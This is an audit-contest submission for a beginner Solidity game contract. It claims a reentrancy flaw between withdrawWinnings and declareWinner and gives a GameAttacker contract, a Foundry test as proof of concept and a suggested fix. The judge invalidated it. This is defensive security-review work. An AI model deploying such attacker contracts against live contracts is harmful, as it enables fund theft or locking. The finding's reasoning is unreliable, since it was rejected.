Last Man Standing

First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: low
Invalid

Reentrancy Vulnerability in `withdrawWinnings` Function if `declareWinner` is invoked in the middle of the transaction.

Description: function declareWinner is not protected by nonReentrant.
If declareWinner is invoked in withdrawWinnings and the winner is the caller,
the caller’s winnings are set to zero before they can withdraw,
resulting in some funds becoming permanently locked in the contract.

function withdrawWinnings() external nonReentrant {
...
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); // this line triggers the reentrancy by calling `declareWinner`
require(success, "Game: Failed to withdraw winnings.");
@> pendingWinnings[msg.sender] = 0; // here the winnings are set to zero, so if `declareWinner` is invoked in the middle of the transaction, the caller's winnings will be set to zero before he can withdraw it
...
}

Impact: It can lead to a loss of funds for the winner, as they will not be able to withdraw their winnings after the declareWinner function is called.

Proof of Concept:
prequisites: need to fix logic in claimThrone function first, otherwise the test will fail.
add the following

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import {Game} from "../../src/Game.sol";
contract GameAttacker {
Game public game;
uint256 public counter;
constructor(address _game) {
game = Game(payable(_game));
}
receive() external payable {
if(counter > 0){
counter--;
// Re-enter the withdrawWinnings function
if(game.gameEnded() == false &&
game.currentKing() != address(0) &&
game.lastClaimTime() + game.gracePeriod() < block.timestamp) {
game.declareWinner();
}
}
}
function attack() external {
counter = 1;
game.withdrawWinnings();
}
function withdrawWinnings() external {
game.withdrawWinnings();
}
function claimThrone() external payable {
game.claimThrone{value: msg.value}();
}
}

The add following test and run it

function testReentrancyAttack() public {
// Deploy the attacker contract
GameAttacker attacker = new GameAttacker(address(game));
assertEq(game.pendingWinnings(address(attacker)), 0);
// let attacker win some winnings first
attacker.claimThrone{value: game.claimFee()}();
uint256 gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
game.declareWinner();
assertGt(game.pendingWinnings(address(attacker)), 0);
// reset the game
vm.prank(deployer);
game.resetGame();
// enter game again
attacker.claimThrone{value: game.claimFee()}();
gracePeriod = game.gracePeriod();
vm.warp(block.timestamp + gracePeriod + 1);
assertGt(game.pendingWinnings(address(attacker)), 0);
// reentrancy attack, some funds are locked in contract
assertEq(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
attacker.attack();
assertLt(game.pot() + game.pendingWinnings(address(attacker)) + game.platformFeesBalance(), address(game).balance);
}

Recommended Mitigation:
add nonReentrant modifier to declareWinner function to prevent reentrancy attacks.

function declareWinner() external nonReentrant {
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 months ago

Appeal created

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.